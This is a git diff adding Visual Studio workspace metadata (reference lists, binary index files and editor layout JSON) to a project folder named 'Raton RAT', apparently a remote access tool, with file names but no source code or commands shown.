Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\NAudio.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\NAudio.WinMM.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\Newtonsoft.Json.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\PresentationCore.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\PresentationFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\System.Buffers.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Drawing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\System.Text.Json.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Xaml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\Vestris.ResourceLib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\WindowsBase.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\user\\Desktop\\raton\\Raton\\bin\\Debug\\Raton.exe","OutputItemRelativePath":"Raton.exe"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} \ No newline at end of file diff --git a/Raton RAT/.vs/Raton/CopilotIndices/18.0.925.419/CodeChunks.db b/Raton RAT/.vs/Raton/CopilotIndices/18.0.925.419/CodeChunks.db new file mode 100644 index 0000000..0f15b4a Binary files /dev/null and b/Raton RAT/.vs/Raton/CopilotIndices/18.0.925.419/CodeChunks.db differ diff --git a/Raton RAT/.vs/Raton/CopilotIndices/18.0.925.419/SemanticSymbols.db b/Raton RAT/.vs/Raton/CopilotIndices/18.0.925.419/SemanticSymbols.db new file mode 100644 index 0000000..21e195e Binary files /dev/null and b/Raton RAT/.vs/Raton/CopilotIndices/18.0.925.419/SemanticSymbols.db differ diff --git a/Raton RAT/.vs/Raton/FileContentIndex/3e64493d-050d-46c8-80d9-40cf4d10b017.vsidx b/Raton RAT/.vs/Raton/FileContentIndex/3e64493d-050d-46c8-80d9-40cf4d10b017.vsidx new file mode 100644 index 0000000..37b253f Binary files /dev/null and b/Raton RAT/.vs/Raton/FileContentIndex/3e64493d-050d-46c8-80d9-40cf4d10b017.vsidx differ diff --git a/Raton RAT/.vs/Raton/FileContentIndex/3e7b1eb4-20af-4404-b7c6-aab2a1299e59.vsidx b/Raton RAT/.vs/Raton/FileContentIndex/3e7b1eb4-20af-4404-b7c6-aab2a1299e59.vsidx new file mode 100644 index 0000000..a0a1945 Binary files /dev/null and b/Raton RAT/.vs/Raton/FileContentIndex/3e7b1eb4-20af-4404-b7c6-aab2a1299e59.vsidx differ diff --git a/Raton RAT/.vs/Raton/FileContentIndex/c4384652-4a59-4c77-9825-3da42ab2e793.vsidx b/Raton RAT/.vs/Raton/FileContentIndex/c4384652-4a59-4c77-9825-3da42ab2e793.vsidx new file mode 100644 index 0000000..7634f96 Binary files /dev/null and b/Raton RAT/.vs/Raton/FileContentIndex/c4384652-4a59-4c77-9825-3da42ab2e793.vsidx differ diff --git a/Raton RAT/.vs/Raton/v17/.suo b/Raton RAT/.vs/Raton/v17/.suo new file mode 100644 index 0000000..3d5e4ad Binary files /dev/null and b/Raton RAT/.vs/Raton/v17/.suo differ diff --git a/Raton RAT/.vs/Raton/v17/DocumentLayout.json b/Raton RAT/.vs/Raton/v17/DocumentLayout.json new file mode 100644 index 0000000..b2d6dca --- /dev/null +++ b/Raton RAT/.vs/Raton/v17/DocumentLayout.json @@ -0,0 +1,12 @@ +{ + "Version": 1, + "WorkspaceRootPath": "E:\\DOWNLOADS\\Raton\\", + "Documents": [], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [] + } + ] +} \ No newline at end of file diff --git a/Raton RAT/.vs/Raton/v18/.suo b/Raton RAT/.vs/Raton/v18/.suo new file mode 100644 index 0000000..60b3ce0 Binary files /dev/null and b/Raton RAT/.vs/Raton/v18/.suo differ diff --git a/Raton RAT/.vs/Raton/v18/DocumentLayout.backup.json b/Raton RAT/.vs/Raton/v18/DocumentLayout.backup.json new file mode 100644 index 0000000..c516baa --- /dev/null +++ b/Raton RAT/.vs/Raton/v18/DocumentLayout.backup.json @@ -0,0 +1,457 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Raton\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\properties\\resources.resx||{FA3CD31E-987B-443A-9B81-186104E8DAC1}|" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:ratonback\\backendclient.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\credits.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\mainwindow.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\plugintutorial.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|c:\\users\\user\\desktop\\raton\\raton\\raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\games.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:clientstorage.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\tasks.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\settings.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:assemblyinfo.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Debug\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\clientfolders.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\windows\\clientfolders.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\port.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\about.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\plugintutorial.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\games.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:windows\\preview.xaml||{F11ACC28-31D1-4C80-A34B-F4E09D3D753C}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:obj\\Release\\windows\\tools.g.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:wpfapp1\\windows\\port.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:raton\\forms\\ratoncmd.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + }, + { + "AbsoluteMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|C:\\Users\\user\\Desktop\\raton\\Raton\\agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}|Raton.csproj|solutionrelative:agobfuscator.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 8, + "Children": [ + { + "$type": "Bookmark", + "Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}" + }, + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "Resources.resx", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx", + "RelativeDocumentMoniker": "Raton\\Properties\\Resources.resx", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx", + "RelativeToolTip": "Raton\\Properties\\Resources.resx", + "ViewState": "AgIAAOIAAAAAAAAAAAAEwAIBAABY7iEAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001005|", + "WhenOpened": "2026-03-24T18:31:36.471Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 1, + "Title": "BackendClient.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs", + "RelativeDocumentMoniker": "RatonBack\\BackendClient.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs", + "RelativeToolTip": "RatonBack\\BackendClient.cs", + "ViewState": "AgIAAEYAAAAAAAAAAADwv1wAAAAoAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:31:01.437Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 3, + "Title": "Visual.cs", + "DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs", + "RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs", + "ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "ViewState": "AgIAAEsJAAAAAAAAAADgv3IJAAAEAAAAAQAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:29:01.289Z", + "EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]" + }, + { + "$type": "Document", + "DocumentIndex": 5, + "Title": "WpfXamlLoader.cs", + "DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs", + "RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs", + "ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]", + "ViewState": "AgIAAFwAAAAAAAAAAADgv3cAAAADAAAAAQAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:23:34.806Z", + "EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]" + }, + { + "$type": "Document", + "DocumentIndex": 7, + "Title": "Games.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Games.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs", + "RelativeToolTip": "Raton\\Windows\\Games.cs", + "ViewState": "AgIAAO8AAAAAAAAAAAAIwBMBAAADAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:20:59.309Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 18, + "Title": "games.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs", + "RelativeDocumentMoniker": "obj\\Release\\windows\\games.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs", + "RelativeToolTip": "obj\\Release\\windows\\games.g.cs", + "ViewState": "AgIAAOEAAAAAAAAAAAAcwAEBAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:58:44.506Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 20, + "Title": "tools.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs", + "RelativeDocumentMoniker": "obj\\Release\\windows\\tools.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs", + "RelativeToolTip": "obj\\Release\\windows\\tools.g.cs", + "ViewState": "AgIAAGQAAAAAAAAAAAAcwFoAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:53:36.217Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 17, + "Title": "plugintutorial.g.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs", + "RelativeDocumentMoniker": "obj\\Release\\windows\\plugintutorial.g.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs", + "RelativeToolTip": "obj\\Release\\windows\\plugintutorial.g.cs", + "ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T17:58:49.39Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 9, + "Title": "Tasks.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs", + "RelativeDocumentMoniker": "Raton\\Windows\\Tasks.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs", + "RelativeToolTip": "Raton\\Windows\\Tasks.cs", + "ViewState": "AgIAAHkAAAAAAAAAAAAcwJkAAABNAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:20:46.477Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 8, + "Title": "ClientStorage.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs", + "RelativeDocumentMoniker": "ClientStorage.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs", + "RelativeToolTip": "ClientStorage.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAeAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:20:10.624Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 11, + "Title": "AssemblyInfo.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs", + "RelativeDocumentMoniker": "AssemblyInfo.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs", + "RelativeToolTip": "AssemblyInfo.cs", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABEAAAALAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:17:42.311Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 13, + "Title": "clientfolders.xaml", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml", + "RelativeDocumentMoniker": "windows\\clientfolders.xaml", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml", + "RelativeToolTip": "windows\\clientfolders.xaml", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|", + "WhenOpened": 